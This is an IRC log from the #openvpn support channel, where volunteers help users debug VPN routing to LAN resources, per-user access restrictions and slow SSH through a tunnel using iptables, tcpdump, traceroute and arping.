04:58 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has quit [Ping timeout: 256 seconds]
05:07 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has joined #openvpn
05:07 -!- al_nz1 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 276 seconds]
05:11 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
05:14 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has quit [Ping timeout: 256 seconds]
05:17 -!- Cybert1nus is now known as Cybertinus
05:24 < al_nz1> u about krzee?
05:31 -!- dazo [~dazo@2001:470:de40:1021::14] has joined #openvpn
05:31 -!- dazo [~dazo@2001:470:de40:1021::14] has quit [Changing host]
05:31 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
05:31 -!- mode/#openvpn [+o dazo] by ChanServ
05:35 -!- Ali_nz2 [~Ali_nz1@202-74-193-58.static.woosh.co.nz] has joined #openvpn
05:35 < Ali_nz2> anyone about to help with a question about accessing remote lan resources. (yes I have added a static route in router) but can only access remote GW
05:37 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 276 seconds]
05:40 < mnice> Ali_nz2: you're asking over and over for the same
05:40 < mnice> Ali_nz2: pastebin ``iptables -vL; iptables -t nat -vL''
05:41 < mnice> also pastebin `sysctl -a | grep forward''
05:41 < mnice> all of these on vpn server (which acts like a router)
05:42 < Ali_nz2> http://pastebin.com/ELuNfnkG
05:43 < Ali_nz2> http://pastebin.com/B2UrJ02d
05:44 < Ali_nz2> mnice: see anything wrong?
05:47 < mnice> mmmt
05:50 < mnice> Ali_nz2: you're waste of time .. asking several hours for the same .. YOU HAVE NO F*CKING IPTABLES RULES ? please sit where you are, don't touch anything and wait until you've have around you there some responsible adult with basic sysadmin skill
05:50 <@dazo> may I suggest pastebin of iptables-save instead?  That gives better detail view
05:50 -!- brute11k [~brute@89.249.230.251] has joined #openvpn
05:51 <@dazo> (even though, in this case ... it probably doesn't matter)
05:51 < mnice> dazo: that's empty .. no need iptables-save
05:51 <@dazo> yupp
05:51 <@dazo> Saw that afterwards :)
05:51 < mnice> and he's asking aslo in #networking and receiving over and over :: MAKE SOME FC*ING IPTABLES RULES
05:52 < mnice> dazo: please don't you know some point to my issue
05:52 < mnice> i'm frustrated
05:52 < Ali_nz2> mnice: actually I was told to delete the iptables rule
05:52 < Ali_nz2> <pppingme> iptables -t nat -D POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
05:52 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
05:52 < Ali_nz2> and thats what I did!Q
05:53 <@dazo> Ali_nz2: do you understand what that rule do=
05:53 <@dazo> ?
05:53 <@dazo> POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
05:53 < Ali_nz2> dazo: AFAIK it tells the router where to send traffic destined for a given network
05:53 <@dazo> no
05:53 <@dazo> try again
05:54 <@dazo> but read the iptables man page first
05:54 < Ali_nz2> it NAT's and filters traffic, like a firewall
05:54 <@dazo> it's NAT, right ... but NAT does not filter traffic ... and NAT is nothing like a firewall at all .... NAT just often happens to sit on firewalls, for simplicity
05:55 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
05:55 < Ali_nz2> iptables is a packet filter tho
05:55 <@dazo> iptables -t filter ... is the packet filter
05:55 <@dazo> iptables -t nat  is not a packet filter
05:56 < Ali_nz2> right, so some of it is nat, some is filtering
05:56 <@dazo> right ... and that is a crucial thing to get right
05:56 <@dazo> so ... what do you try to achieve with your VPN?
05:56 <@dazo> !goal
05:56 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
05:57 < Ali_nz2> dazo: goal: to access remote lan resources, using the remote lan ip's
05:57 <@dazo> remote LAN resources .... as in a local network?
05:58 < Ali_nz2> well resources behind the OVPN server
05:58 <@dazo> okay, good
05:59 <@dazo> so you don't need NAT at all .... this is a pure routing setup you are looking for
05:59 <@dazo> https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting
05:59 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
05:59 <@dazo> Look at the "Using Routing" section ... and it should explain fairly well how this should work
06:00 < Ali_nz2> ...reading....
06:02 < Ali_nz2> ...ipforwarding is enabled....
06:04 < Ali_nz2> in my case OVPN is not running on default GW so reading next section :-)
06:04 <@dazo> good!
06:04 <@dazo> That changes things slightly, though
06:06 < Ali_nz2> so, after reading that document, I have added the "return route" in the GW. But it looks like I still need to add some rules to iptables
06:06 <@dazo> your tables were basically empty ... and all had ACCEPT rules
06:06 <@dazo> s/rules/default policy/
06:06 <@dazo> so that means your iptables rules shouldn't cause any issues
06:07 <@dazo> (if it looks like this, I mean:  http://pastebin.com/ELuNfnkG )
06:07 < Ali_nz2> @dazo: so if they are not causing issues, then why do I need to add anything?
06:08 <@dazo> I presume that people expected you to have your server on a place with a public IP address ... and in such a case, you didn't have a firewalled network, so iptables would really be in order
06:09 < Ali_nz2> @dazo: right. So I dont need to add anything at this point because my OVPN server is behind a router
06:09 <@dazo> correct ... and presuming your router does the firewalling for you
06:09 <@dazo> (but if it doesn't, your openvpn server will not make things worse)
06:10 < Ali_nz2> But that still leaves the question - why cant I access remote LAN resources?
06:10 <@dazo> Ali_nz2: what route did you add on your default gw?
06:11 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 264 seconds]
06:11 <@dazo> and to debug more .... try using tcpdump on your LAN interface ... and see what happens with the traffic
06:11 < Ali_nz2> it has a gui, but allows me to show the "routing table" which it displays like this : http://pastebin.com/3ySJMJgM
06:12 <@dazo> and your OpenVPN server has the IP 10.1.1.2 ?
06:12 < Ali_nz2> yup!
06:12 <@dazo> okay, that looks good
06:13 <@dazo> then you need to check out with tcpdump ... and also check if there could be firewalls enabled on the internal resources you try to access
06:14 <@dazo> f.ex ... try to ping the LAN IP address of your router from the VPN client
06:14 <@dazo> that should give an indication
06:14 < Ali_nz2> interestingly the router is the one and only remote lan ip I can access
06:15 <@dazo> okay, then I fear you have a bad router ... which doesn't route other hosts back to the LAN
06:15 < druid> I'm working on getting this to work since yesterday: "sudo openvpn /etc/openvpn/client.conf --daemon && ssh -D 9060 user@10.8.0.1 -f -N -p 33322" but no matter what i try (-- daemon or "&" to run it in the background, add a "sleep 20" as an ex) the vpn connects, then th ssh tunnel timeouts. If i try to connect the ssh tunnel right after the timout it works... Any idea why?
06:15 <@dazo> Ali_nz2: on the other resources you try to access ... try adding a route to your VPN network via 10.1.1.2
06:16 <@dazo> Ali_nz2: if that doesn't work ... you really need to double check the firewalling on those boxes
06:17 <@dazo> druid: some gateways in between chopping the connection? ... but also depends on your client and server configs, if re-establishing is configured properly
06:19 < Ali_nz2> ok, interesting.
06:19 < Ali_nz2> I added "route ADD 10.8.0.0 MASK 255.255.255.0 10.1.1.2" on 10.1.1.3 - but I still could not ping it
06:20 < abyss_> it is possible to make other routing or access to network via cert? Example, for me and my co I'd like make openvpn to access all network but for other people I'd like to do limited access - it is possible?
06:21 < Ali_nz2> dazo: I wonder if there is some funky firewalling going on in the Draytek Gateway
06:21 <@dazo> Ali_nz2: Draytek Gateway?  What's that?
06:21 <@dazo> your default router?
06:22 < Ali_nz2> yes
06:22 < Ali_nz2> looking at its firewall options now, but I dont see anything yet
06:24 < Ali_nz2> maybe there is a tcpdump command i could run to see if when I ping client 10.1.1.3 any return traffic is hitting eth0 - but I dont know tcpdump well enough to know what command to use
06:24 <@dazo> This is not firewalling ... it's a crappy router
06:24 <@dazo> really
06:24 < Ali_nz2> yeah, its just a basic gui - but better than most consumer routers
06:25 <@dazo> tcpdump will only dump what's seen on the interface it is asked to look at
06:25 <@dazo> so if your router doesn't push data in that direction, tcpdump won't see it
06:25 <@dazo> did you try adding direct routes on your other boxes in your network?  Did that work?
06:25 < Ali_nz2> is there a way to filter it so I just "see" reply traffic back from 10.1.1.3?
06:25 <@dazo> because you can still have a firewall thing going on on those boxes as well, which denies that access
06:26 <@dazo> tcpdump -ni eth0 host 10.1.1.3
06:26 < Ali_nz2> @dazo: Yeah I added a route to 10.1.1.3
06:26 <@dazo> on 10.1.1.3?
06:26 < Ali_nz2> dazo: its a host on the remote network
06:26 <@dazo> you shouldn't add any other routes on your default gateway
06:27 <@dazo> I meant, if you try to access 10.1.1.3 .... on that particular box, you should add a route like:  # ip route add 10.8.0.0/24 via 10.1.1.2
06:27 < Ali_nz2> what I mean is, on another computer, I explicitly defined a return route for traffic destined for 10.8.0.0 ie route ADD 10.8.0.0 MASK 255.255.255.0 10.1.1.2
06:28 <@dazo> okay ... if *that* didn't work ... you need to check the firewall on *that* box
06:29 <@dazo> because your openvpn server, will push the packets from your VPN client directly to that box .... and if that box doesn't respond, when having an explicit return route  (10.8.0.0/24 via 10.1.1.2) .... then the traffic stops at that box
06:29 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
06:29 < Ali_nz2> dazo: ohh progress
06:29 <@dazo> if it didn't with the explicit route, it would send the return packets directly to your openvpn server
06:29 < Ali_nz2> I can ping 10.1.1.3 now
06:29 <@dazo> okay, now you've figured it out!
06:30 < Ali_nz2> it had Kaspersky running and I guess it was not trusting "10.8.0.0" subnet
06:30 <@dazo> most likely
06:30 < Ali_nz2> but, I still cant access 10.1.1.2 which is the OVPN server
06:33 < Ali_nz2> yeah so cool. I have full access to remote resorces except the OVPN server on the remote LAN
06:33 <@dazo> from where?
06:33 <@dazo> VPN?
06:33 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
06:34 <@dazo> Ali_nz2: that really doesn't make sense, tbh .... you can access 10.8.0.1, right?
06:34 <@dazo> from your vpn client
06:34 < Ali_nz2> yes
06:34 <@dazo> but not 10.1.1.2?
06:34 < Ali_nz2> anything on 10.1.1.0 except 10.1.1.2
06:34 < Ali_nz2> yeah
06:34 < Ali_nz2> weird!
06:34 <@dazo> that really doesn't make sense at all
06:35 <@dazo> esp. if you can access 10.1.1.3 over the VPN
06:35 <@dazo> Ali_nz2: try tcpdump on the VPN interface .... and see what happens then
06:36 < Ali_nz2> and whats also weird is that tcpdump -i eth0 icmp sees pings from 10.8.0.6 (remote client)
06:36 <@dazo> and pastebin:  ip route show
06:36 <@dazo> Ali_nz2: are you using tun or tap?
06:36 < Ali_nz2> tun
06:36 <@dazo> good
06:37 < Ali_nz2> http://pastebin.com/2w2jSg3n
06:37 < Ali_nz2> thats on the OVPN server
06:37 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Excess Flood]
06:37 <@dazo> that's the right place
06:37 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
06:37 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Quit: et tu, znc?]
06:37 < Ali_nz2> seems to show traffic should go out over tun0
06:38 < Ali_nz2> for 10.8.0.0
06:38 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
06:39 <@dazo> with tcpdump listening on tun0 ... from your VPN client, ping 10.1.1.2
06:39 <@dazo> and see if you see both the ICMP ping and ICMP pong packets ... if only ping ... use tcpdump on eth0 ... and see what happens there
06:40 <@dazo> iirc ... you can do:  tcpdump -ni tun0 icmp
06:40 <@dazo> to only get icmp packets
06:41 < Ali_nz2> yeah just getting the request lines
06:41 <@dazo> and on eth0
06:41 <@dazo> ?
06:42 < Ali_nz2> http://pastebin.com/2u8Qp0cM
06:42 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
06:42 -!- Devastator- [~devas@177.18.199.9] has joined #openvpn
06:43 <@dazo> Ali_nz2: you have some strange things happening in the routing table on your openvpn server
06:43 < Ali_nz2> I agree
06:43 < Ali_nz2> but not sure of fix
06:43 <@dazo> Ali_nz2: I honestly don't know why this happens, and I have no idea where to start looking here
06:44 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 268 seconds]
06:45 <@dazo> Ali_nz2: this is not an openvpn issue, though ... this is a pure networking issue on your VPN server .... and your VPN is really working, as you now can access LAN resources
06:45 < abyss_> OK, I see one option to limited access I can do: -A POSTROUTING -s 10.8.0.0/24 -o xenbr0 -d where_should_be_access -j MASQUERADE
06:45 < mnice> what about ``ip l set $teh_bridge promisc on'' ;)
06:45 <@dazo> Ali_nz2: please, just for last sanity check .... pastebin iptables-save .... just to have that one ruled out as well
06:46 < mnice> didin't reread but saw "xenbr0" string
06:46 < Ali_nz2> ok...
06:46 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
06:47 < Ali_nz2> http://pastebin.com/dAafL5kq
06:47 < abyss_> but when I operate on IP addresses somebody could connect to another vpn network and have all access:/ It's another way to limited access?
06:49 <@dazo> Ali_nz2: As I "hoped" for .... completely empty ... well, this is some oddities related to the routing .... but as I said, I have no idea where to start digging now
06:50 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
06:50 < Ali_nz2> dazo: thats ok. I really appreciate the time you took to help me through it, and I leant some.
06:50 < Ali_nz2> Thanks
06:50 <@dazo> you're welcome!
06:51 -!- CookieNinja [quassel@unaffiliated/tommehm] has quit [Remote host closed the connection]
06:52 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
06:54 -!- mete [~mete@mete.shell.la] has joined #openvpn
06:57 -!- abyss_ is now known as abyss
06:58 < abyss> somebody can help about this?;)
07:00 < Olipro> describe your topology
07:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:01 < mnice> i have weird issue :(
07:01 < mnice> when i connect via ssh to host behind vpn server i've got somewhat crippled tcp/ip performance ... i use proto udp
07:02 < mnice> i played with MTU and also with --fragment and --mssfix but with no success
07:03 < mnice> i can reproduce that when i ssh via vpn tunnel to some box with using it's LAN ip and do `cat /some/1MB/plaintext' it takes very long until the output is pushed to tty .. when i connect directly via lan ip (still thru vpn) to router itself cat is fine
07:03 < mnice> s/it's LAN/its LAN/
07:05 < abyss> Olipro: maybe I'll draw this because my english not so good,  so you could not understand me well;)
07:05 < mnice> seems like there's some issue between tun device and real LAN
07:06 < mnice> everything else seems like working fine, also important note is that's esx infa - all is in there using vmxnet3 controllers ..
07:06 < mnice> my second openvpn server with (hopefully) same setup does not behave like this, but there's ONLY router (vpn server) in esx and the rest is physical
07:12 < Olipro> when you SSH via the VPN, what source IP would the SSH server see?
07:14 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
07:14 < mnice> source of 10.168.68/24 .. so the tun ip of client
07:14 < mnice> what should be correct
07:15 < mnice> 10.168.68.6 specifically :)
07:15 < mnice> Olipro: http://susepaste.org/view/raw/44675815 here you can see a little piece of dump from server
07:16 < mnice> i was initially suspecting MTU and fragmentation but i either set it incorrectly or it is not in there
07:17 < mnice> cpcertifikace-db == 192.168.68.3 ..
07:17 < Olipro> so the SSH server routes the reply back to the VPN server?
07:17 < abyss> Olipro: please, look at this: http://i-free.pl/openvpn.jpeg I'd like do smth like this:) red line is where I'd like to connect via vpn and blue line is where's some clients should have only access
07:18 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
07:18 < mnice> Olipro: no, wait .. it looks like this: Client <--internet--> Router <--LAN--> Host .. i establish from Client a vpn tunnel to Router and then from another terminal session connect to Host via its LAN ip
07:18 < Olipro> abyss: you can either have two separate OpenVPN instances or you can give yourself a persistent IP within a single instance
07:18 < Olipro> beyond that, everything is down to firewall policy
07:18 < mnice> Olipro: and specificall when I do `cat /some/1MB/plaintext' it takes sick long time until the output is on Client's terminal
07:19 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
07:20 < mnice> when i connect via lan ip to Router (so it still comes via vpn tunnel) it's okay - eg cat /somefile is fine so i suppose, that there's some problem with tun0 on server and exchanging packets to LAN via vmxnet3 interfaces
07:20 < Olipro> mnice: so "Router" is both the VPN server and serving 0.0.0.0/0 for your SSH server?
07:20 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
07:20 < abyss> Olipro: second sentence I don't get it, could you explain?
07:20 < mnice> Olipro: ssh is not important in this case .. Router is router and vpn server
07:20 < Olipro> abyss: it means, you use iptables to restrict what a particular source IP address can do
07:21 < mnice> Olipro: ```13:14:02.048889 IP 192.168.68.1 > cpcertifikace-db: ICMP 10.168.68.6 unreachable - need to frag (mtu 1500), length 556'' this sounds suspicious to me .. especially that frag mention
07:22 < Olipro> e.g. if your VPN IP was 10.0.0.1 and everyone else above that, you'd first have a rule to accept all traffic with 10.0.0.1 as source and then have additional rule(s) to permit 10.0.0.0/24 to whatever subnets/interfaces you want to allow, followed by a rule to drop traffic to everything else
07:22 < abyss> Olipro: How can I add more source IP to openvpn? In configuration I have option server... To add another source ip in openvpn config should I add another server option? Or you mean do smth with packet BEFORE connect to openvpn?
07:22 < Olipro> mnice: that's an ICMP fragmentation needed... that's fine providing the VPN client receives it
07:22 < mnice> hmm
07:23 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
07:23 < mnice> Olipro: do you have some theory or explanation why `cat /somefile' takes:
07:23 < Olipro> is your Router doing stateful firewalling?
07:23 < Olipro> i.e. using conntrack
07:23 < mnice> a) normally when connected with ssh via vpn tunnel directly to server's LAN ip
07:23 < Olipro> abyss: you should just configure a subnet in OpenVPN and define a text file for a persistent pool
07:23 < mnice> b) abnormaly long when connected with same way to some box behind vpn server (router) ?
07:24 < Olipro> every time you connect, OpenVPN will assign you exactly the same IP address and never give it to anyone else
07:25 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
07:25 < Olipro> mnice: having mismatching MTU is fine providing ICMP fragmentation needed messages get to the client in a timely manner
07:25 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
07:25 < Olipro> the first rule in your iptables FORWARD chain should be -m conntrack --ctstate ESTABLISHED -j ACCEPT
07:26 < Olipro> conntrack considers fragmentation needed packets to be part of a connection
07:27 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
07:27 < mnice> Olipro: mmmt, i can show ya something
07:29 < abyss> Olipro: so I should add another server option and in ipp.txt (there's my pool-persist) add: name_of_certificate,subnet_that_should_the_client_connect?
07:29 < Olipro> no, just set ipp.txt in your config, start OpenVPN and connect
07:30 < Olipro> once you disconnect your persistent IP will be written into the text file
07:30 < Olipro> but you could just look at the interface on your client too
07:32 < mnice> Olipro: http://susepaste.org/view/raw/10285162 << WTF .. x.x.x.1 is router and x.x.x.3 is something behind .. from here you can see that both comes via vpn tunnel and i really can't find out why it takes so long for anything other than router
07:33 < mnice> Olipro: both files are same size
07:33 < mnice> i mean dracut.log on both boxes
07:34 < Olipro> what OS is the ssh client running?
07:34 < mnice> router is centos 6.4 and hosts are rhel 6.4
07:34 < mnice> up-to-date
07:34 < Olipro> it might just be the case that it's working around a percieved PMTU blackhole because it doesn't receive the fragmentation needed messages
07:34 < mnice> on client there's opensuse as my workstation
07:34 < Olipro> well... we can test that theory
07:34 < Olipro> stick this rule into your router:
07:34 < mnice> o.O
07:34 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
07:34 < mnice> yah
07:35 < abyss> Olipro: OK. But I can't wait when the customer connect via openvpn and then look what ip write to ipp.txt and then set the iptables rule... I know I drew only one red line - just me, but there will be more people who have full access...
07:35 < Olipro> iptables -t mangle -I FORWARD -p tcp --tcp-flags SYN,ACK,RST SYN -j TCPMSS --set-mss 1200
07:35 < mnice> Olipro: i'm one big ear
07:35 < Olipro> abyss: then in that case, have multiple OpenVPN instances
07:35 < Olipro> give each instance its own separate subnet
07:36 < abyss> and ports:)
07:36 < Olipro> yes
07:37  * Olipro wonders if you can get OpenVPN to multiplex on a single port based on certificate CA
07:37 < mnice> Olipro: http://susepaste.org/view/raw/14568473
07:37 < abyss> Olipro: ok , thank you very much - I expected the openvpn have more complex configuration for limited access:))
07:38 < mnice> Olipro: your rule didn't solve anything .. are you sure with -t mangle ?
07:38 < Olipro> yes, that's the correct table
07:38 < mnice> btw i have at the monment default MTU of 1500 and no additional --fragment and --mssfix set
07:38 < Olipro> you did start a new ssh connection right?
07:38 < abyss> Olipro: ooo I expected openVPN can do access based on certificates:)
07:39 < Olipro> you didn't just run the cat operation on an already open SSH session?
07:39 < Olipro> the MSS can only be mangled at connection open
07:39 < mnice> i did
07:39 < mnice> okay, fair .. re-establishing
07:39 < mnice> good point !!!!
07:39 < mnice> no, same
07:40 < mnice> Olipro: i can show ya rules:
07:40 < Olipro> can you pastebin a traceroute of: 1) vpn client -> ssh server. 2) ssh server -> vpn client
07:41 < mnice> Olipro: http://susepaste.org/view/raw/19163291
07:41 < mnice> mmmt, i'll do
07:43 < mnice> Olipro: http://susepaste.org/view/raw/80590201 << you wanted this ?
07:43 < mnice> ^^ so tracerouted thru openvpn server (10.168.68.1)
07:44 -!- Devastator- [~devas@177.18.199.9] has quit [Changing host]
07:44 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
07:44 < Olipro> hmm, looks like you have some weirdness going on
07:44 -!- Devastator- is now known as Devastator
07:44 < Olipro> (H!) means host unreachable
07:44 < mnice> no, why ? o.O
07:44 < mnice> o.O but i can ping it, ssh to it, whatever
07:44 < Olipro> how many IP addresses does the VPN server have?
07:44 < mnice> what do you mean ?
07:45 < jzaw> ifconfig mnice
07:45 < jzaw> or better
07:45 < jzaw> ip a
07:45 < Olipro> I'd run the traceroute from the vpn server again and use -s to bind it to 192.168.68.3
07:46 < mnice> Olipro: see PM .. i was lazy to remove potentionally sentive info like public ip and so .. that's why i sent you pm .. sorry
07:46 < mnice> **sensitive
07:48 < mnice> hmm .. indeed .. i didn't notice teh H!
07:50 < jzaw> mnice, your pubic ip is not sensitive info
07:51 < mnice> jzaw: it is :) .. do you want to check that also ?
07:51 < mnice> jzaw: http://susepaste.org/view/raw/80590201 << Olipro noticed wird H! in this output
07:51 < jzaw> are you by any chance in Czech Rep?
07:51 < mnice> i am
07:51 < mnice> i am in prague
07:52 < mnice> s/wird/weird/
07:52 < jzaw> then your ip is visible to anyone on this channel :)
07:52 < jzaw> try /whois
07:52 < mnice> jzaw: that's different and productional server
07:52 < mnice> ;)
07:52 < jzaw> anyway i was looking at your pastes
07:52 < mnice> my irssi host is not same like the server i'nm trying to cure up
07:52  * jzaw nods
07:52 < jzaw> and im also not in the uk as my ip suggest ;)
07:53 < mnice> Olipro: can you see something wrong in there ?
07:53 < Olipro> mnice: are you sure there isn't something on your network that's also assigned 10.168.68.1
07:53 < Olipro> i.e. duplicate IP
07:53 < mnice> hmm .. no
07:54 < jzaw> any kind of ratelimiting on the router?
07:54 < jzaw> in iptables
07:54 < mnice> it's assigned by openvpn daemon in regard to : # grep 10.168.68 /etc/openvpn/server.conf
07:54 < jzaw> fail2ban kind of thing?
07:54 < mnice> server 10.168.68.0 255.255.255.0
07:54 < mnice> no
07:54 < Olipro> my mistake, I meant 192.168.68.1
07:55 < Olipro> I'm wondering if when your SSH server ARPs for the MAC, it occasionally gets the IP of something else on the network
07:55 < Olipro> that'd explain the occasional traceroute failures
07:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:55 < Olipro> since it'd send the reply to the unknown machine
07:56 < Olipro> do an arping from the SSH server for 192.168.68.1 and see what you get
07:56 < mnice> Olipro: http://susepaste.org/view/raw/20440883 << wtf, i ran it several times and it sometimes do like this
07:56 < jzaw> route loops ?
07:56 < mnice> Olipro: yeah
07:56 < mnice> cool point
07:57 < mnice> it's esx infra and some boxes might have same MAC hence they all are clonned from one template .vmx
07:57 < jzaw> i find some strange traces cos my server is a VM not the gw machine
08:00 < Olipro> heh, yeah... identical MAC would also screw it
08:00 < Olipro> since the (v)Switch will only associate a MAC to one port at a time
08:00 < Olipro> so the last one to send out an ethernet frame is considered to be valid for the MAC
08:01 < mnice> hmm .. i don't see there duplicate MAC adresses
08:01 < mnice> Olipro: would you explicitely tell me what command you wanted to issue ?
08:02 < Olipro> from the SSH server: arping 192.168.68.1
08:02 < mnice> and from where .. please note that Client is my workstation, Router is vpn server and Host is any of hosts behind vpn
08:02 < mnice> Olipro: that show mac address of my router
08:02 < Olipro> and only the router right?
08:03 < mnice> Unicast reply from 192.168.68.1 [00:27:0C:92:29:4A]  1.472ms
08:03 < mnice> # arp -n
08:03 < mnice> Address                  HWtype  HWaddress           Flags Mask            Iface
08:03 < Olipro> ok
08:03 < mnice> 10.1.23.1                ether   00:27:0c:92:29:4a   C                     eth0
08:03 < mnice> sorry for paste
08:03 < mnice> 3 lines are usually accepted
08:03 < Olipro> from the Router: arping 192.168.68.3
08:03 < mnice> Unicast reply from 192.168.68.3 [00:50:56:8B:45:D1]  0.776ms
08:03 < mnice> still same .. ran it several times
08:04 < Olipro> ok, can you pastebin "ip rou" and "ip nei" of the SSH server
08:04 < mnice> sure
08:04 < mnice> Olipro: what do you mean by "ssh server" ?
08:05 < mnice> it might be one of Client, Router or Host
08:05 < Olipro> the 192.168.68.3 box
08:05 < Olipro> that's the thing that you SSH into and try to do the cat on right?
08:05 < mnice> yes .. sure
08:06 < mnice> Olipro: you have that paste as PM
08:06 < abyss> Olipro: http://forum.pfsense.org/index.php?topic=28865.msg150129#msg150129 Interesting. But where to force this csc entries;)
08:06 <@vpnHelper> Title: per-user firewall rules with OpenVPN (at forum.pfsense.org)
08:06 < mnice> no need to molest pastebin for every 3 lines
08:07 < Olipro> ip rou and ip nei looks fine
08:07 < abyss> in ipp.txt? I think I use your way to set up separate instances;)
08:08 < mnice> Olipro: i suspect if esx and his vmxnet3 is not doing that
08:08 < mnice> it all seems fine
08:08 < mnice> but ... damn .. so many icm unreachable in tcpdump
08:08 < mnice> **icmp
08:08 < Olipro> what's the source IP of the unreachable?
08:12 < mnice> Olipro: http://susepaste.org/view/raw/24993512
08:13 < mnice> wtf iz dat ? why it suddenly stucks and takes so long ?
08:14 < Olipro> that looks to me like it's losing connectivity to the router
08:14 < mnice> Olipro: http://susepaste.org/view/raw/14568473 << your dump is this
08:14 < mnice> there are sources ip
08:14 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
08:14 < Olipro> yes, what's the source IP on the ICMP unreachable message?
08:14 < mnice> Olipro: but weird that when tracerouting 192.168.68.1 (router's own lan ip via vpn) it works fine
08:15 < mnice> it "looses connective" only to environment behind router
08:16 < Olipro> well the thing is, those are supposed to be directly connected
08:16 < mnice> Olipro: IP 192.168.68.1 > cpcertifikace-db: ICMP 10.168.68.6 unreachable - need to frag (mtu 1500), length 556
08:16 < Olipro> which means that getting an unreachable should be impossible
08:16 < mnice> Olipro: wait .. look at this:
08:16 < Olipro> oh, you mean fragmentation needed
08:16 < Olipro> I was more interested in the ICMP Host Unreachable packets that traceroute was getting
08:17 < mnice> http://susepaste.org/view/raw/50013703
08:17 < mnice> wtf
08:17 < mnice> i can ping it but not traceroute it ?
08:18 < mnice> might be our inane company firewall
08:18 < jzaw> is your traceroute using udp ? rather than icmp
08:19 < mnice> Olipro: thanks very very much .. i go to focus all my attention to H! and what you say
08:19 < mnice> jzaw: obviously
08:21 < jzaw> well then that is why you can ping but not trace :P
08:22 < mnice> Olipro & jzaw http://susepaste.org/view/raw/95141274
08:22 < mnice> ^^ got that ?
08:22 < Olipro> yes
08:22 < mnice> see that with ICMP there's no longer H!
08:22 < mnice> why ?
08:22 < Olipro> because it looks like some packets are being switched to a different host
08:23 < mnice> s/got that/probably got that with no resolution/
08:23 < Olipro> if you could tcpdump from that host and capture the ICMP host unreachable packets, that'd be good
08:23 < mnice> Olipro: there's always H! when used udp
08:23 < mnice> Olipro: okay, gonna do it
08:23 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
08:23 < Olipro> you don't have some sort of layer 2 filtering going on do you?
08:24 < mnice> Olipro: so i should ssh to 192.168.68.3 and do `tcpdump -i eth0 icmp' ?
08:24 < Olipro> like, a vSwitch that will inspect packets and block certain types?
08:24 < mnice> well, not sure, esx is not under my managemant
08:24 < Olipro> no, you need to tcpdump from the box you run the traceroute from
08:24 < Olipro> so, 192.168.68.1 I imagine
08:24 < mnice> okay
08:24 < Olipro> yeah... I think they may well have esx misconfigured
08:25 < Olipro> since your traffic should just be directly switched, it sounds a lot like they're engaging in shenanigans at layer 2
08:26 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
08:27 < mnice> Olipro: would you please write your suspection in one conscise sentence ? i will send it directly via email to esx provider
08:29 < Olipro> "I am seeing apparently random Host Unreachable errors between my router and VM on a link that should effectively be packet switched directly - additionally, I am finding UDP always fails - could you please fix/remove your layer 2 filtering"
08:29 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
08:29 < Olipro> I generally find that asking if someone is doing layer 2 filtering tends to be less likely to get a resolution than simply telling them they're doing it :)
08:30 < mnice> Olipro: great .. last pastebin .. tcpdump on Client requests to 192.168.68.3 :: http://susepaste.org/view/raw/69666261
08:30 < mnice> Olipro: ^^ does it prove your theory ?
08:30 < Olipro> well, if it were layer 2 filtering then I would expect it to always fail
